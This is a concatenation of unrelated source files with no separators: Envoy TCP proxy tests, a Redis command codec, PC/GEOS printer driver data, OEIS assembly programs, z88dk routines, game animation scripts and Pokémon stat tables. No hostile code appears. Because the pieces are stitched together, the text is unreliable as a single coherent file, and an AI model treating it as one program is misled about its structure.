defined at the top // level. TEST_P(TcpProxyMetadataMatchIntegrationTest, DEPRECATED_FEATURE_TEST(EndpointShouldMatchRouteWithTopLevelMetadataMatch)) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.set_cluster("fallback"); tcp_proxy_.mutable_hidden_envoy_deprecated_deprecated_v1()->add_routes()->set_cluster( "cluster_0"); tcp_proxy_.mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); endpoint_metadata_ = lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointToMatchRoute(); } // Test subset load balancing for a weighted cluster when endpoint selector is defined on a weighted // cluster. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldMatchWeightedClusterWithMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); auto* cluster_0 = tcp_proxy_.mutable_weighted_clusters()->add_clusters(); cluster_0->set_name("cluster_0"); cluster_0->set_weight(1); cluster_0->mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); endpoint_metadata_ = lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointToMatchRoute(); } // Test subset load balancing for a weighted cluster when endpoint selector is defined both on a // weighted cluster and at the top level. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldMatchWeightedClusterWithMetadataMatchAndTopLevelMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.mutable_metadata_match()->MergeFrom(lbMetadata({{"version", "v1"}, {"stage", "dev"}})); auto* cluster_0 = tcp_proxy_.mutable_weighted_clusters()->add_clusters(); cluster_0->set_name("cluster_0"); cluster_0->set_weight(1); cluster_0->mutable_metadata_match()->MergeFrom(lbMetadata( {{"role", "master"}, {"stage", "prod"}})); // should override `stage` value at top-level endpoint_metadata_ = lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointToMatchRoute(); } // Test subset load balancing for a weighted cluster when endpoint selector is defined at the top // level only. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldMatchWeightedClusterWithTopLevelMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); auto* cluster_0 = tcp_proxy_.mutable_weighted_clusters()->add_clusters(); cluster_0->set_name("cluster_0"); cluster_0->set_weight(1); endpoint_metadata_ = lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointToMatchRoute(); } // Test subset load balancing for a regular cluster when endpoint selector is defined at the top // level. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldNotMatchSingleClusterWithTopLevelMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.set_cluster("cluster_0"); tcp_proxy_.mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); endpoint_metadata_ = lbMetadata({{"role", "replica"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointNotToMatchRoute(); } // Test subset load balancing for a deprecated_v1 route when endpoint selector is defined at the top // level. TEST_P(TcpProxyMetadataMatchIntegrationTest, DEPRECATED_FEATURE_TEST(EndpointShouldNotMatchRouteWithTopLevelMetadataMatch)) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.set_cluster("fallback"); tcp_proxy_.mutable_hidden_envoy_deprecated_deprecated_v1()->add_routes()->set_cluster( "cluster_0"); tcp_proxy_.mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); endpoint_metadata_ = lbMetadata({{"role", "replica"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointNotToMatchRoute(); } // Test subset load balancing for a weighted cluster when endpoint selector is defined on a weighted // cluster. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldNotMatchWeightedClusterWithMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); auto* cluster_0 = tcp_proxy_.mutable_weighted_clusters()->add_clusters(); cluster_0->set_name("cluster_0"); cluster_0->set_weight(1); cluster_0->mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); endpoint_metadata_ = lbMetadata({{"role", "replica"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointNotToMatchRoute(); } // Test subset load balancing for a weighted cluster when endpoint selector is defined both on a // weighted cluster and at the top level. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldNotMatchWeightedClusterWithMetadataMatchAndTopLevelMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.mutable_metadata_match()->MergeFrom(lbMetadata({{"version", "v1"}, {"stage", "dev"}})); auto* cluster_0 = tcp_proxy_.mutable_weighted_clusters()->add_clusters(); cluster_0->set_name("cluster_0"); cluster_0->set_weight(1); cluster_0->mutable_metadata_match()->MergeFrom(lbMetadata( {{"role", "master"}, {"stage", "prod"}})); // should override `stage` value at top-level endpoint_metadata_ = lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "dev"}}); initialize(); expectEndpointNotToMatchRoute(); } // Test subset load balancing for a weighted cluster when endpoint selector is defined at the top // level only. TEST_P(TcpProxyMetadataMatchIntegrationTest, EndpointShouldNotMatchWeightedClusterWithTopLevelMetadataMatch) { tcp_proxy_.set_stat_prefix("tcp_stats"); tcp_proxy_.mutable_metadata_match()->MergeFrom( lbMetadata({{"role", "master"}, {"version", "v1"}, {"stage", "prod"}})); auto* cluster_0 = tcp_proxy_.mutable_weighted_clusters()->add_clusters(); cluster_0->set_name("cluster_0"); cluster_0->set_weight(1); endpoint_metadata_ = lbMetadata({{"role", "replica"}, {"version", "v1"}, {"stage", "prod"}}); initialize(); expectEndpointNotToMatchRoute(); } INSTANTIATE_TEST_SUITE_P(IpVersions, TcpProxySslIntegrationTest, testing::ValuesIn(TestEnvironment::getIpVersionsForTest()), TestUtility::ipTestParamsToString); void TcpProxySslIntegrationTest::initialize() { config_helper_.addSslConfig(); TcpProxyIntegrationTest::initialize(); context_manager_ = std::make_unique<Extensions::TransportSockets::Tls::ContextManagerImpl>(timeSystem()); payload_reader_.reset(new WaitForPayloadReader(*dispatcher_)); } void TcpProxySslIntegrationTest::setupConnections() { initialize(); // Set up the mock buffer factory so the newly created SSL client will have a mock write // buffer. This allows us to track the bytes actually written to the socket. EXPECT_CALL(*mock_buffer_factory_, create_(_, _)) .Times(1) .WillOnce(Invoke([&](std::function<void()> below_low, std::function<void()> above_high) -> Buffer::Instance* { client_write_buffer_ = new NiceMock<MockWatermarkBuffer>(below_low, above_high); ON_CALL(*client_write_buffer_, move(_)) .WillByDefault(Invoke(client_write_buffer_, &MockWatermarkBuffer::baseMove)); ON_CALL(*client_write_buffer_, drain(_)) .WillByDefault(Invoke(client_write_buffer_, &MockWatermarkBuffer::trackDrains)); return client_write_buffer_; })); // Set up the SSL client. Network::Address::InstanceConstSharedPtr address = Ssl::getSslAddress(version_, lookupPort("tcp_proxy")); context_ = Ssl::createClientSslTransportSocketFactory({}, *context_manager_, *api_); ssl_client_ = dispatcher_->createClientConnection(address, Network::Address::InstanceConstSharedPtr(), context_->createTransportSocket(nullptr), nullptr); // Perform the SSL handshake. Loopback is whitelisted in tcp_proxy.json for the ssl_auth // filter so there will be no pause waiting on auth data. ssl_client_->addConnectionCallbacks(connect_callbacks_); ssl_client_->enableHalfClose(true); ssl_client_->addReadFilter(payload_reader_); ssl_client_->connect(); while (!connect_callbacks_.connected()) { dispatcher_->run(Event::Dispatcher::RunType::NonBlock); } AssertionResult result = fake_upstreams_[0]->waitForRawConnection(fake_upstream_connection_); RELEASE_ASSERT(result, result.message()); } // Test proxying data in both directions with envoy doing TCP and TLS // termination. void TcpProxySslIntegrationTest::sendAndReceiveTlsData(const std::string& data_to_send_upstream, const std::string& data_to_send_downstream) { // Ship some data upstream. Buffer::OwnedImpl buffer(data_to_send_upstream); ssl_client_->write(buffer, false); while (client_write_buffer_->bytes_drained() != data_to_send_upstream.size()) { dispatcher_->run(Event::Dispatcher::RunType::NonBlock); } // Make sure the data makes it upstream. ASSERT_TRUE(fake_upstream_connection_->waitForData(data_to_send_upstream.size())); // Now send data downstream and make sure it arrives. ASSERT_TRUE(fake_upstream_connection_->write(data_to_send_downstream)); payload_reader_->set_data_to_wait_for(data_to_send_downstream); ssl_client_->dispatcher().run(Event::Dispatcher::RunType::Block); // Clean up. Buffer::OwnedImpl empty_buffer; ssl_client_->write(empty_buffer, true); dispatcher_->run(Event::Dispatcher::RunType::NonBlock); ASSERT_TRUE(fake_upstream_connection_->waitForHalfClose()); ASSERT_TRUE(fake_upstream_connection_->write("", true)); ASSERT_TRUE(fake_upstream_connection_->waitForDisconnect()); ssl_client_->dispatcher().run(Event::Dispatcher::RunType::Block); EXPECT_TRUE(payload_reader_->readLastByte()); EXPECT_TRUE(connect_callbacks_.closed()); } TEST_P(TcpProxySslIntegrationTest, SendTlsToTlsListener) { setupConnections(); sendAndReceiveTlsData("hello", "world"); } TEST_P(TcpProxySslIntegrationTest, LargeBidirectionalTlsWrites) { setupConnections(); std::string large_data(1024 * 8, 'a'); sendAndReceiveTlsData(large_data, large_data); } // Test that a half-close on the downstream side is proxied correctly. TEST_P(TcpProxySslIntegrationTest, DownstreamHalfClose) { setupConnections(); Buffer::OwnedImpl empty_buffer; ssl_client_->write(empty_buffer, true); dispatcher_->run(Event::Dispatcher::RunType::NonBlock); ASSERT_TRUE(fake_upstream_connection_->waitForHalfClose()); const std::string data("data"); ASSERT_TRUE(fake_upstream_connection_->write(data, false)); payload_reader_->set_data_to_wait_for(data); ssl_client_->dispatcher().run(Event::Dispatcher::RunType::Block); EXPECT_FALSE(payload_reader_->readLastByte()); ASSERT_TRUE(fake_upstream_connection_->write("", true)); ssl_client_->dispatcher().run(Event::Dispatcher::RunType::Block); EXPECT_TRUE(payload_reader_->readLastByte()); } // Test that a half-close on the upstream side is proxied correctly. TEST_P(TcpProxySslIntegrationTest, UpstreamHalfClose) { setupConnections(); ASSERT_TRUE(fake_upstream_connection_->write("", true)); ssl_client_->dispatcher().run(Event::Dispatcher::RunType::Block); EXPECT_TRUE(payload_reader_->readLastByte()); EXPECT_FALSE(connect_callbacks_.closed()); const std::string& val("data"); Buffer::OwnedImpl buffer(val); ssl_client_->write(buffer, false); while (client_write_buffer_->bytes_drained() != val.size()) { dispatcher_->run(Event::Dispatcher::RunType::NonBlock); } ASSERT_TRUE(fake_upstream_connection_->waitForData(val.size())); Buffer::OwnedImpl empty_buffer; ssl_client_->write(empty_buffer, true); while (!connect_callbacks_.closed()) { dispatcher_->run(Event::Dispatcher::RunType::NonBlock); } ASSERT_TRUE(fake_upstream_connection_->waitForHalfClose()); } } // namespace } // namespace Envoy
/* *Copyright (c) 2013-2013, yinqiwen <yinqiwen@gmail.com> *All rights reserved. * *Redistribution and use in source and binary forms, with or without *modification, are permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * Neither the name of Redis nor the names of its contributors may be used * to endorse or promote products derived from this software without * specific prior written permission. * *THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" *AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE *IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE *ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS *BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR *CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF *SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS *INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN *CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) *ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF *THE POSSIBILITY OF SUCH DAMAGE. */ #include "buffer/buffer_helper.hpp" #include "channel/all_includes.hpp" #include "redis_command_codec.hpp" #include "util/exception/api_exception.hpp" #include <limits.h> using ardb::BufferHelper; using namespace ardb::codec; using namespace ardb; /* Client request types */ static const uint32 REDIS_REQ_INLINE = 1; static const uint32 REDIS_REQ_MULTIBULK = 2; static const char* kCRLF = "\r\n"; int RedisCommandDecoder::ProcessInlineBuffer(Buffer& buffer, RedisCommandFrame& frame) { int index = buffer.IndexOf(kCRLF, 2); if (-1 == index) { return 0; } while (true) { char ch; if (!buffer.ReadByte(ch)) { break; } if (ch == ' ') { continue; } buffer.AdvanceReadIndex(-1); int current = buffer.GetReadIndex(); if (current == index) { buffer.AdvanceReadIndex(2); //skip "\r\n" break; } int space_index = buffer.IndexOf(" ", 1, current, index); if (-1 == space_index) { break; } frame.FillNextArgument(buffer, space_index - current); buffer.AdvanceReadIndex(1); //skip space char } int current = buffer.GetReadIndex(); if (current < index) { frame.FillNextArgument(buffer, index - current); buffer.AdvanceReadIndex(2); //skip "\r\n" } return 1; } static inline int readBulkLen(Buffer& buffer, int& len) { char *eptr = NULL; const char* raw = buffer.GetRawReadBuffer(); int tmp = strtol(raw, &eptr, 10); if ((eptr - raw) > (buffer.ReadableBytes() - 2)) { return 0; } if (*eptr != '\r' || *(eptr + 1) != '\n') { return -1; } len = tmp; buffer.AdvanceReadIndex(eptr - raw + 2); return 1; } #define THROW_DECODE_EX(str) do{\ if (NULL != channel)\ {\ APIException ex(str);\ fire_exception_caught(channel, ex);\ ERROR_LOG("Exception:%s occured.", str);\ }\ }while(0) int RedisCommandDecoder::ProcessMultibulkBuffer(Channel* channel, Buffer& buffer, RedisCommandFrame& frame) { if (buffer.ReadableBytes() < 3) //at least '0\r\n' { return 0; } int multibulklen = 0; int read_len_ret = readBulkLen(buffer, multibulklen); if (read_len_ret == 0) { return 0; } else if (read_len_ret < 0) { THROW_DECODE_EX("Protocol error: expected CRLF at bulk length end"); return -1; } if (multibulklen > 512 * 1024 * 1024) { THROW_DECODE_EX("Protocol error: invalid multibulk length"); return -1; } int parsed_args = 0; while (parsed_args < multibulklen) { if (buffer.ReadableBytes() < 4) //at least '$0\r\n' { return 0; } char expected = 0; buffer.ReadByte(expected); if (expected != '$') { if (NULL != channel) { char temp[100]; sprintf(temp, "Protocol error: expected '$', , got '%c'", buffer.GetRawReadBuffer()[0]); THROW_DECODE_EX(temp); } return -1; } int arglen = 0; read_len_ret = readBulkLen(buffer, arglen); if (read_len_ret == 0) { return 0; } else if (read_len_ret < 0) { THROW_DECODE_EX("Protocol error: expected CRLF at bulk length end"); return -1; } if (arglen > 512 * 1024 * 1024) { THROW_DECODE_EX("Protocol error: invalid bulk length"); return -1; } if (buffer.ReadableBytes() < (arglen + 2)) { return 0; } if (buffer.GetRawReadBuffer()[arglen] != '\r' || buffer.GetRawReadBuffer()[arglen + 1] != '\n') { THROW_DECODE_EX("Protocol error: expected CRLF at bulk end."); return -1; } frame.FillNextArgument(buffer, arglen); buffer.AdvanceReadIndex(2); parsed_args++; } return 1; } bool RedisCommandDecoder::Decode(Channel* channel, Buffer& buffer, RedisCommandFrame& msg) { while (buffer.GetRawReadBuffer()[0] == '\r' || buffer.GetRawReadBuffer()[0] == '\n') { buffer.AdvanceReadIndex(1); } size_t mark_read_index = buffer.GetReadIndex(); char ch; if (buffer.ReadByte(ch)) { int ret = -1; if (ch == '*') { //reqtype = REDIS_REQ_MULTIBULK; msg.m_is_inline = false; ret = ProcessMultibulkBuffer(channel, buffer, msg); } else { //reqtype = REDIS_REQ_INLINE; msg.m_is_inline = true; buffer.AdvanceReadIndex(-1); ret = ProcessInlineBuffer(buffer, msg); } if (ret > 0) { msg.m_raw_data_size = buffer.GetReadIndex() - mark_read_index; return true; } else { msg.Clear(); if (0 == ret) { buffer.SetReadIndex(mark_read_index); } return false; } } buffer.SetReadIndex(mark_read_index); return false; } bool RedisCommandDecoder::Decode(ChannelHandlerContext& ctx, Channel* channel, Buffer& buffer, RedisCommandFrame& msg) { return Decode(channel, buffer, msg); } //===================================encoder============================== bool RedisCommandEncoder::Encode(Buffer& buf, const RedisCommandFrame& cmd) { buf.Printf("*%d\r\n", cmd.GetArguments().size() + 1); buf.Printf("$%d\r\n", cmd.GetCommand().size()); buf.Write(cmd.GetCommand().data(), cmd.GetCommand().size()); buf.Write("\r\n", 2); for (uint32 i = 0; i < cmd.GetArguments().size(); i++) { const std::string* arg = cmd.GetArgument(i); buf.Printf("$%d\r\n", arg->size()); buf.Write(arg->data(), arg->size()); buf.Write("\r\n", 2); } return true; } bool RedisCommandEncoder::WriteRequested(ChannelHandlerContext& ctx, MessageEvent<RedisCommandFrame>& e) { RedisCommandFrame* msg = e.GetMessage(); m_buffer.Clear(); if (Encode(m_buffer, *msg)) { return ctx.GetChannel()->Write(m_buffer); } return false; }
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) Berkeley Softworks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: IBM Proprinter X24 driver FILE: propx24bjIBMInfo.asm AUTHOR: Dave Durran, 27 Mar 1990 REVISION HISTORY: Name Date Description ---- ---- ----------- Dave 7/93 Initial revision DESCRIPTION: This file contains the device information for the canon48pin bj10e narrow carriage printer Other Printers Supported by this resource: $Id: propx24bjIBMInfo.asm,v 1.1 97/04/18 11:53:46 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ;---------------------------------------------------------------------------- ; Canon BJ-10 48-jet in IBM X24E mode ;---------------------------------------------------------------------------- bjIBMInfo segment resource ; info blocks PrinterInfo < ; ---- PrinterType ------------- < PT_RASTER, BMF_MONO >, ; ---- PrinterConnections ------ < IC_NO_IEEE488, CC_NO_CUSTOM, SC_NO_SCSI, RC_RS232C, CC_CENTRONICS, FC_FILE, AC_NO_APPLETALK >, ; ---- PrinterSmarts ----------- PS_DUMB_RASTER, ;-------Custom Entry Routine------- NULL, ;-------Custom Exit Routine------- NULL, ; ---- Mode Info Offsets ------- offset bjIBMlowRes, offset bjIBMmedRes, offset bjIBMhiRes, offset printerFontInfo:x24draft, offset printerFontInfo:x24nlq, ; ---- Font Geometry ----------- offset bjIBMfontGeometries, ; ---- Symbol Set list ----------- offset bjIBMSymbolSets, ; ---- PaperMargins ------------ < PR_MARGIN_LEFT, ; Tractor Margins PR_MARGIN_TRACTOR, PR_MARGIN_RIGHT, PR_MARGIN_TRACTOR >, < PR_MARGIN_LEFT, ; ASF Margins 18, PR_MARGIN_RIGHT, PR_MARGIN_BOTTOM >, ; ---- PaperInputOptions ------- < MF_MANUAL1, TF_NO_TRACTOR, ASF_TRAY1 >, ; ---- PaperOutputOptions ------ < OC_NO_COPIES, PS_REVERSE, OD_SIMPLEX, SO_NO_STAPLER, OS_NO_SORTER, OB_NO_OUTPUTBIN >, ; 612, ; paper width (points). NULL, ; Main UI ASF1BinOnlyOptionsDialogBox, ; Options UI PrintEvalASF1BinOnly ; eval routine address > ;---------------------------------------------------------------------------- ; Graphics modes info ;---------------------------------------------------------------------------- bjIBMlowRes GraphicsProperties < LO_RES_X_RES, ; xres LO_RES_Y_RES, ; yres LO_RES_BAND_HEIGHT, ; band height LO_RES_BUFF_HEIGHT, ; buffer height LO_RES_INTERLEAVE_FACTOR, ;#interleaves BMF_MONO, ;color format NULL > ; color format bjIBMmedRes GraphicsProperties < MED_RES_X_RES, ; xres MED_RES_Y_RES, ; yres MED_RES_BAND_HEIGHT, ; band height MED_RES_BUFF_HEIGHT, ; buffer height MED_RES_INTERLEAVE_FACTOR, ;#interleaves BMF_MONO, ;color format NULL > ; color format bjIBMhiRes GraphicsProperties < HI_RES_X_RES, ; xres HI_RES_Y_RES, ; yres HI_RES_BAND_HEIGHT, ; band height HI_RES_BUFF_HEIGHT, ; buffer height HI_RES_INTERLEAVE_FACTOR, ;#interleaves BMF_MONO, ;color format NULL > ; color format ;---------------------------------------------------------------------------- ; Text modes info ;---------------------------------------------------------------------------- ;need to add geometries in ascending pointsize, grouped by font bjIBMfontGeometries FontGeometry \ < FID_DTC_URW_ROMAN, 12, offset bjIBM_12ptpitchTab >, < FID_DTC_URW_ROMAN, 24, offset bjIBM_24ptpitchTab >, < FID_DTC_URW_SANS, 12, offset bjIBM_12ptpitchTab >, < FID_DTC_URW_SANS, 24, offset bjIBM_24ptpitchTab > word FID_INVALID ;table terminator bjIBM_12ptpitchTab label byte byte TP_17_PITCH byte TP_12_PITCH byte TP_10_PITCH byte TP_6_PITCH byte TP_5_PITCH byte TP_PROPORTIONAL ;"table Terminator" bjIBM_24ptpitchTab label byte byte TP_12_PITCH byte TP_10_PITCH byte TP_6_PITCH byte TP_5_PITCH byte TP_PROPORTIONAL ;"table Terminator" bjIBMSymbolSets label word word offset pr_codes_SetASCII7 ;ASCII 7 bit word offset pr_codes_SetIBM437 ;IBM code page 437 word offset pr_codes_SetIBM850 ;IBM code page 850 bjIBMInfo ends
; A185108: a(0)=0; for n>0, a(n) = (n+2)*a(n-1) + 1. ; 0,1,5,26,157,1100,8801,79210,792101,8713112,104557345,1359245486,19029436805,285441552076,4567064833217,77640102164690,1397521838964421,26552914940324000,531058298806480001,11152224274936080022,245348934048593760485,5643025483117656491156,135432611594823755787745,3385815289870593894693626,88031197536635441262034277,2376842333489156914074925480,66551585337696393594097913441,1929995974793195414228839489790,57899879243795862426865184693701,1794896256557671735232820725504732,57436680209845495527450263216151425 mov $2,3 mov $3,2 lpb $0 add $0,$3 add $1,$2 mul $2,$0 sub $0,3 lpe div $1,3 mov $0,$1
;//########################################################################### ;// ;// FILE: bl_entrytrable.asm ;// ;// TITLE: Symbol tables for entry points ;// ;// ;//########################################################################### ;// $TI Release: F2806x Support Library v2.04.00.00 $ ;// $Release Date: Thu Oct 18 15:47:20 CDT 2018 $ ;// $Copyright: ;// Copyright (C) 2009-2018 Texas Instruments Incorporated - http://www.ti.com/ ;// ;// Redistribution and use in source and binary forms, with or without ;// modification, are permitted provided that the following conditions ;// are met: ;// ;// Redistributions of source code must retain the above copyright ;// notice, this list of conditions and the following disclaimer. ;// ;// Redistributions in binary form must reproduce the above copyright ;// notice, this list of conditions and the following disclaimer in the ;// documentation and/or other materials provided with the ;// distribution. ;// ;// Neither the name of Texas Instruments Incorporated nor the names of ;// its contributors may be used to endorse or promote products derived ;// from this software without specific prior written permission. ;// ;// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ;// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ;// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ;// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT ;// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ;// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ;// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ;// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ;// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ;// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;// $ ;//########################################################################### *********************************************************************** .ref _AppUpdaterUSB .def _pAppEntry .def _pAppSig *********************************************************************** * Function: codestart section * * Description: Branch to code starting point *********************************************************************** .sect "app_table" app_table: _pAppEntry .long 0 _pAppSig .long 0 .sect "bl_table" bl_table: _pBootEntry .long _AppUpdaterUSB .end ;// ;// End of file. ;//
; A208131: Partial products of A052901. ; 1,3,6,12,36,72,144,432,864,1728,5184,10368,20736,62208,124416,248832,746496,1492992,2985984,8957952,17915904,35831808,107495424,214990848,429981696,1289945088,2579890176,5159780352,15479341056,30958682112,61917364224,185752092672,371504185344,743008370688,2229025112064,4458050224128,8916100448256,26748301344768,53496602689536,106993205379072,320979616137216,641959232274432,1283918464548864,3851755393646592,7703510787293184,15407021574586368,46221064723759104,92442129447518208,184884258895036416,554652776685109248,1109305553370218496,2218611106740436992,6655833320221310976,13311666640442621952,26623333280885243904,79869999842655731712,159739999685311463424,319479999370622926848,958439998111868780544,1916879996223737561088,3833759992447475122176,11501279977342425366528,23002559954684850733056,46005119909369701466112,138015359728109104398336,276030719456218208796672,552061438912436417593344,1656184316737309252780032,3312368633474618505560064,6624737266949237011120128,19874211800847711033360384,39748423601695422066720768,79496847203390844133441536,238490541610172532400324608,476981083220345064800649216,953962166440690129601298432,2861886499322070388803895296,5723772998644140777607790592,11447545997288281555215581184,34342637991864844665646743552,68685275983729689331293487104,137370551967459378662586974208,412111655902378135987760922624,824223311804756271975521845248,1648446623609512543951043690496,4945339870828537631853131071488,9890679741657075263706262142976,19781359483314150527412524285952,59344078449942451582237572857856,118688156899884903164475145715712,237376313799769806328950291431424,712128941399309418986850874294272,1424257882798618837973701748588544,2848515765597237675947403497177088,8545547296791713027842210491531264,17091094593583426055684420983062528,34182189187166852111368841966125056,102546567561500556334106525898375168,205093135123001112668213051796750336,410186270246002225336426103593500672 mov $1,2 mov $2,$0 mov $5,$0 lpb $2 mov $3,$2 mov $4,2 lpb $5 add $4,1 mov $5,0 lpe sub $0,3 mul $1,$4 sub $2,1 mov $5,$3 mul $5,$0 lpe sub $1,2 div $1,2 add $1,1 mov $0,$1
frame 0, 08 endanim
; A028079: Expansion of 1/((1-3x)(1-6x)(1-8x)(1-9x)). ; Submitted by Jon Maiga ; 1,26,433,5894,71533,807002,8661241,89694638,904552165,8939508578,86964763249,835481774582,7946080247197,74954796226154,702270481591657,6542793214395326,60669652146889429,560336828250406130 mov $1,1 mov $2,$0 mov $3,$0 lpb $2 mov $0,$3 mul $1,9 sub $2,1 sub $0,$2 seq $0,17932 ; Expansion of 1/((1-3x)(1-6x)(1-8x)). add $1,$0 lpe mov $0,$1
// Copyright 1998-2018 Epic Games, Inc. All Rights Reserved. #include "DogfightGameMode.h" ADogfightGameMode::ADogfightGameMode() { }
frame 0, 04 frame 1, 08 frame 2, 12 setrepeat 5 frame 0, 05 frame 3, 05 dorepeat 4 frame 0, 06 frame 4, 12 endanim
; BSD ; void bcopy(const void *src, void *dst, size_t len) SECTION code_clib SECTION code_string PUBLIC _bcopy EXTERN asm_bcopy _bcopy: pop af pop hl pop de pop bc push bc push de push hl push af jp asm_bcopy
INCLUDE "clib_cfg.asm" SECTION code_clib SECTION code_math PUBLIC l_divs_16_16x16, l0_divs_16_16x16 ; compute: hl = hl / de, de = hl % de ; alters : af, bc, de, hl ; alternate entry (l_divs_16_16x16 - 1) ; exchanges de,hl ; alternate entry (l0_divs_16_16x16) ; skips divide by zero check IF __CLIB_OPT_IMATH <= 50 EXTERN l_small_divs_16_16x16, l0_small_divs_16_16x16 defc l_divs_16_16x16 = l_small_divs_16_16x16 defc l0_divs_16_16x16 = l0_small_divs_16_16x16 ENDIF IF __CLIB_OPT_IMATH > 50 EXTERN l_fast_divs_16_16x16, l0_fast_divs_16_16x16 defc l_divs_16_16x16 = l_fast_divs_16_16x16 defc l0_divs_16_16x16 = l0_fast_divs_16_16x16 ENDIF
;LOOP.ASM ;Demo program for looping directives ;This file contains two macro definitions ;for the same purpose. The first version (DEFS) ;works when the argument is 0. The second one ;works only for argument greater then zero. ;This program can not be compiled because ;the last macro tries to generate 100000000 bytes. ;I don't think you can wait until it finishes. ;If you start the compilation of this program ;do use the option -l and when you are tired ;looking the zeroes press CTRL+BREAK! macro("DEFS *",NUMERIC) #ifndef defs var defs #endif defs := #0 #while defs>0 DB 0 defs := defs - 1 #wend endm macro("SKIP *",NUMERIC) #ifndef skip var skip #endif skip := #0 #repeat DB 0 skip := skip - 1 #until skip=0 endm DEFS 10 SKIP 10 DEFS 0 SKIP 0 ;End of file LOOP.ASM 
; ; int asm_strlen(char *str); ; BITS 64 SECTION .text GLOBAL asm_strlen asm_strlen: PUSH RCX MOV RCX, -1 ; Init counter _loop: ; Basic while INC RCX CMP BYTE [RDI + RCX], 0 JNE _loop _end: MOV RAX, RCX ; Return counter POP RCX RET
db 0 ; 322 DEX NO db 60, 60, 40, 35, 45, 35 ; hp atk def spd sat sdf db FIRE, GROUND ; type db 255 ; catch rate db 88 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 20 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/hoenn/numel/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_GROUND, EGG_GROUND ; egg groups ; tm/hm learnset tmhm ; end
